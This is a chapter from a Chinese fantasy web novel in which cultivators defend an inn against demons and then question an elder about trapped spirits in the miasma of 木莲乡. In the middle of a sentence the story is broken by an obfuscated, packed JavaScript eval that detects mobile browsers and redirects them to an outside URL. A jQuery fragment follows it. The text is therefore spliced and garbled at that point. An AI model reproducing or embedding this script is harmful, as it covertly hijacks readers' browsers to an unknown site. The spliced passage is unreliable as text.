陈清晏声音不小,云舒握着箭的手顿了顿,接着准确地射中了一只妖怪。
人身蛇首,云舒眯了眯眼睛,总觉得这妖怪有些眼熟。
来的妖怪的修为越来越高,有两个她一箭已经射不死了。
数量太多,云舒挑着修为最高的攻击。
这种情况下,她只能选择相信沈雪驰。
沈雪驰方才在检查客栈有没有其他入口,扭过头,就见到陆昭明痛苦地捂住胸口,陈清晏在他旁边,着急得像是热锅上的蚂蚁。
“刚刚有一处我没有封好,煞气钻了进来,他为了救我……”陈清晏咬着牙,“你能不能……救他?”
煞气入体后,不过多久就会侵蚀人的意识,等到最后整个人化为煞气的养分,就会侵蚀他人。处理的手段有两种,第一种最为简单便捷,就是将被煞气侵蚀的人处理掉。第二种就是请药师或者修为高的修士,以自灵力在被侵蚀之人体内运转的手段处理掉。
很显然后者有风险,煞气很可能会入侵,而沈雪驰和陆昭明不过是萍水相逢。
陈清晏抿唇,换作是他,也未必会救人的。
没想到沈雪驰点点头,没问他身为药师为什么不自己救人。
他将陆昭明平放在地上,一只手虚虚按在他的胸口,低声道:“半柱香,这段时间靠你了。”
说罢闭上眼睛,雷灵力缓缓注入陆昭明的体内。
陆昭明朝着陈清晏瞥了一眼,见后者郑重地点了点头,他犹豫了一下,收了灵力,全力抵抗煞气。
没了陆昭明的藤蔓,整个客栈只有陈清晏的符箓抵抗着。
陈清晏神色一凛,他怒笑:“老虎不发威,你们真把小爷当软柿子捏啊。”
他十指翻飞,几张符箓便出现在手中,紧接着被射出,呈环形在客栈内流转,整个客栈顿时度上了一层金光。
金属性灵力从他指尖流出,源源不断地注入符箓中。
神御符箓阵,少见的非消耗型符箓,一种极其强大的束缚型符阵。
陆昭明瞥了一眼,可惜使用的主人不过是乾坤境,否则只守护客栈是没问题的。
晓是这样,也能撑一会了。
“该死,这群妖怪怎么像是打了兴奋剂一样?”陈清晏抿唇,手上灵力不敢松懈。
来的妖怪似乎越来越强大,他感觉到有些吃力。
而且他们开始不只攻击一个方向,这就意味着他要分散些灵力去别的地方。
他强撑着,突然看到一股暗紫色的妖力不知道从哪里钻进来,朝着沈雪驰和陆昭明的方向袭去。
陈清晏想都没想,一步滑到挡在陆昭明身前。
他闭上眼睛,呲牙咧嘴。
预想中的疼痛没出现,陈清晏睁开一只眼睛,见到陆昭明阴沉着的脸。
他手里黑剑出鞘,这柄剑宽大而厚重,几乎有两三个白虹剑那么宽,银色的装饰和紫色的纹路让人有些喘不过气来。
陆昭明捂住他的眼睛,道:“别看。”
他收了剑,放下手。
沈雪驰站起身来,“只是煞气被清除,你的伤还没有恢复。”
陆昭明道:“多谢。”
他站到远处去,俨然是没有继续疗伤的打算。
陈清晏忍不住道:“你的剑叫什么名字?”看起来也不是凡品。
黑衣剑客默然,片刻他的声音传来:“昭明。”
陈清晏道:“叫自己的名字干嘛……”
随即他反应过来,这柄剑就叫昭明。
他忍不住犯嘀咕:“怎么有人会给自己的武器起自己的名字啊。”
不过也好过他这种没有自己武器起名权的人了。
不过现在不是想这个的时候。
“外面这些东西妖怪太多了,我快要坚持不住了,等下我放几个进来,你们俩打一下。”陈清晏喊道。
沈雪驰嗯了一声,拔出白虹剑。
客栈门打开,一个人类的上半身挤过所有怪物,探了进来。
这种威压!
是妖族统领级别的大妖!
妖族按血脉论尊卑,除了妖主和四守护,就是十大统领。
陈清晏汗毛竖立,却又忍不住想难怪他顶不住。
虽然这东西未必是真的妖族统领,可是毕竟威压还在。
然而让人没想到的是,巨大的蛇尾根部卡在门口,那蛇人一愣,回头看了看。
沈雪驰提剑的手微顿,没有斩下去。
陈清晏愣了愣,实在忍不住道:“我真没招了。”
那蛇人似乎明白他在嘲笑自己,愤怒地吼了一声,嘴里居然伸出殷红的蛇信子来。
白虹剑出,朝着那蛇便斩了过去。
流火的箭挡下这一击,将蛇人震到后面去。
“祝乘风!”
急切的声音又道:“剑下留人!”
那蛇人愣了愣,竟然真的停了下来。
他痛苦地抱住脑袋,摇得客栈地动山摇。
“你这是什么意思?”
陆昭明蹙了蹙眉,看着抵在他脖颈处的银白匕首。
陈清晏连忙道:“自己人!”
云舒冷笑道:“你对他们做了什么?”
陆昭明面无表情:“我不知道你是什么意思。”
“还装。”她手一用力,陆昭明的脖颈上很快出现了一道血迹。
她冷声道:“你把桦爷爷和小桐他们怎么了?”
陆昭明抿着唇,依旧不说话。
空气一时间凝结了般,云舒齐齐盯着陆昭明的脸,他的眉骨太过深邃,那片影子显得人更加深沉。
“孩子们。”熟悉的苍老的声音响起,刚才的一切仿佛过眼云烟一般,什么妖族什么半妖,全都消失在众人眼前。
他们回到了桦爷爷住的地方。
桦爷爷笑眯眯道:“木莲乡中常常有瘴气,爷爷一时不察,抱歉。”
看着眼前绷紧的下巴,云舒冷哼一声,松开了陆昭明。
陈清晏上前去,“诺。这是本药师发明的,贴上贴上。”
“陈清晏!”
“来啦来啦。”
陆昭明低头看着手里,放了个药草做成的小条。
云舒正色道:“桦爷爷,您说有瘴气,这瘴气是怎么一回事?”
桦爷爷摸了摸自己白得一尘不染的胡子,“孩子,往事不提也罢。”
那双眼睛虽然凝厚,却并不混浊,仿佛世界上最纯粹的琉璃,云舒想,有这样一双眼睛的人,究竟会是怎样的人。
“桦爷爷,也许木莲乡避世多年,并不知道当今世界的情况。如今煞气再次肆虐,侵蚀人族,增助魔域,九州之内民不聊生,然而煞气来源却十分神秘,这瘴气也很是诡异,阿舒想会不会两者之间有什么关系。”
她恭恭敬敬地拱手,抬起头来,眼睛里的神色却是寸步不让。
世家大族总有秘辛,更何况木莲乡这样的隐世家族。
云舒本打算像是碧落山庄一般处理,暗中搜寻,凭借她们几个,应该也不是什么问题。
毕竟有她,可以无视各种禁制的存在。
可是看着眼前那张苍老的脸,对着那双琉璃般透彻的眼睛,云舒总觉得,眼前这个不知活了多久的老人已经看透了世界上一切肮脏龌龊,是以她只能坦荡荡地看着他,也只想坦荡荡地看着他。
陆昭明道:“桦爷爷,您不要有太大压力,我们也只是随口一问。”
云舒冷冷瞥了他一眼,对着眼前的老人道:“桦爷爷,还请您告诉我们。”
桦爷爷摸了摸胡子,“孩子,我确实不知道外面的情景,但是我敢肯定,煞气不是瘴气导致的。”
他声音有些哀伤,“因为这些瘴气,是卫世之战里面,那些抵御煞气的魂灵化成的。他们被煞气侵蚀,永生永世都被困在木莲乡里,不得往生,不得安宁。”
云舒抿了抿唇,“对不起。”
她似乎应该说点什么,可是到了嘴边,只能感受到唇的翕动。
沈雪驰道:“敢问阁下,这些魂灵生前是妖族吗?”
桦爷爷点点头,似乎不奇怪他会这么问。“魔族嗜血,妖族擅诈,人族无辜,几百年来确是如此。有妖作恶,也就有妖为善。”
陆昭明站的远,声音有些轻,听上去却很是刺耳,“可是这些妖怪善良有什么用,坑害人族的妖怪那么多。”
他轻轻拔了一节剑,嘲讽道:“修士见了他们,可不会先问问他们,是不是好妖怪。”
桦爷爷盯着他,“你真的是这么想的?”
陈清晏连忙捂住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499722|186000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的嘴,“桦爷爷爷!他不是这个意思啊啊啊!”
他小声对陆昭明道:“在人家的地盘你还这么嚣张啊!”
陆昭明没吭声,桦爷爷也没像是对云舒一样对他露出笑脸。
两个人长久地对视,分明在一个屋子里,却像是隔了一道天堑。
云舒皱眉,这两个人之间的氛围给她的错觉,就宛如妖族和人族世代累积的理不清剪不断的矛盾。
人妖魔三族之间的血海深仇,真的有和解的那一天吗?
最终陆昭明先败下阵来,他扭过头去,几不可闻地冷哼了一声。
云舒道:“桦爷爷,有没有什么办法能够让这些魂灵解脱?”
桦爷爷笑眯眯地看着她,道:“阿舒,有心了。这些你无须担心,这本就是他们自己的选择。”
什么叫做自己的选择,怎么会有人选择永生永世不得解脱?
云舒皱眉,一时间居然难以理解眼前的人在说什么。
她喃喃道:“图什么?”
她为玄云宗做的一切,都是为了报答温良玉的知遇之恩。
哪怕如此,她也并不愿意永生永世被锁在这里。
祝乘风说,她是个小妖怪。
那这里的瘴气,会有她母亲或者父亲的魂灵吗?
有没有父母,有没有亲人在这个世界上,她分明从来不在意的,不知怎的,却突然心脏有些抽痛起来。
她不动声色地按了按心口,好在那感觉很快就消失了。
一直沉默的人突然开口,“我们本是要拜访神农谷,误打误撞来到此处,两地都以修炼木系灵力为主,也算是缘分。”
沈雪驰抱着剑,一字一顿道。
他虽然看似是对眼前的老人说,却话里话外提醒几人别忘了此行的目的。
“神农谷啊。”桦爷爷眯了眯眼睛,似乎有些茫然。
云舒收了心里的那点异样,这几日走过的路在脑海里清晰地展现。
木莲乡就如同普通的村子的布局一般,木系至宝这种东西,应当也在这地方最有权威的人手里。
也就是说,在眼前的人身上,或者在她曾吃过饭的地方——村长家里。
“桦爷爷,多亏了您救我们,”云舒轻轻地拉了拉桦爷爷的袖子,“好累呀,我想去休息一会。”
桦爷爷摸了摸自己的胡子,一脸无奈,“好好好,年轻人怎么这样呢,老头子还想和你们多聊一会呢。”
很少有人来到木莲乡这种隐世之地,这地方连间客房也是没有的。
还是几个住在桦爷爷家旁边的人,连夜收拾出来屋子腾给他们住。
云舒和陆昭明都独享单人间,至于沈雪驰和陈清晏,也就只好挤一挤。
说起来陈清晏嚷嚷着要和陆昭明一起睡,但是毕竟不清楚来历,云舒还是谨慎地把他和沈雪驰分到了一起。
“本大人睡了。”大黄迈着猫步在云舒床上走了走,准备找个位置躺下。
“你干什么?”她不满地扭头看过去,云舒提着它的脖颈,面无表情。
云舒凉凉道:“诺,那里是你的地方。”
她轻轻一抛,准确无误地将大黄扔在了包裹上。
小小的狐狸陷在包裹里,不可置信地看着她,“你就让我睡这个?”
对面的人没有回答她,只是拿着东西擦了擦床。
“你在干什么?”大黄尖着嗓子道。
云舒头也不抬,“你没洗澡。”
大黄呲了呲牙,原地用力刨了几下,想要扑上去咬她,正好对上云舒的眼睛,不由得打了个冷颤。
她习惯性想收起尾巴放在颌下,但并没有尾巴,只好扭过头趴下。
无声地撇了撇嘴:“装什么。”
云舒没有打开床褥,而是直接将它枕在脑后躺下了,她一只腿曲起,另一只腿搭在上面,很是惬意。
窗子半开,月华流淌到她半个身子,不刺眼,反而凉凉的。
风也凉凉,星辰明朗,如果她只是木莲乡里普通的一员,像是小桐一样。
云舒在心里摇了摇头,乱世之中,何来安宁。
不知几时,月亮的光辉被半数遮去。
“走吧。”
沈雪驰一手撑着窗,他低着头,视线落在眼前的泥土上。